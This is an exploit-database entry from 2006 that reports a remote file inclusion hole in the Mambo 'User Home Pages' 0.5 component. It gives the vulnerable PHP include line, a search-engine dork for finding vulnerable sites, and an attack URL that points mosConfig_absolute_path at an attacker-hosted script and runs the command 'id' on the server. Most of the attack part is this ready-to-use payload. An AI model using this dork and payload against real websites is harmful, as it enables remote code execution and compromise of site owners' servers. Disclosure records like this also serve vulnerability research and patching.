Mambo Component User Home Pages 0.5 - Remote File Inclusion

Author: Kurdish Security
type: webapps
platform: php
port: 
date_added: 2006-07-29 
date_updated:  
verified: 1 
codes: OSVDB-28113;CVE-2006-3995;OSVDB-28112;OSVDB-28111;OSVDB-27652;OSVDB-27651 
tags: 
aliases:  
screenshot_url:  
application_url: 

>>> Kurdish Security

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : User Home Pges

>>> Site : www.ravensportal.co.uk

>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends

Code :

global $mosConfig_absolute_path;
require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.inc");

d0rkiz : allinurl:"com_uhp"

http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id

And used link :]

footer.php
functions.php
install.uhp.php
toolbar.uhp.html.php
uhp.class.php
uhp_config.php
uninstall.uhp.php

# milw0rm.com [2006-07-30]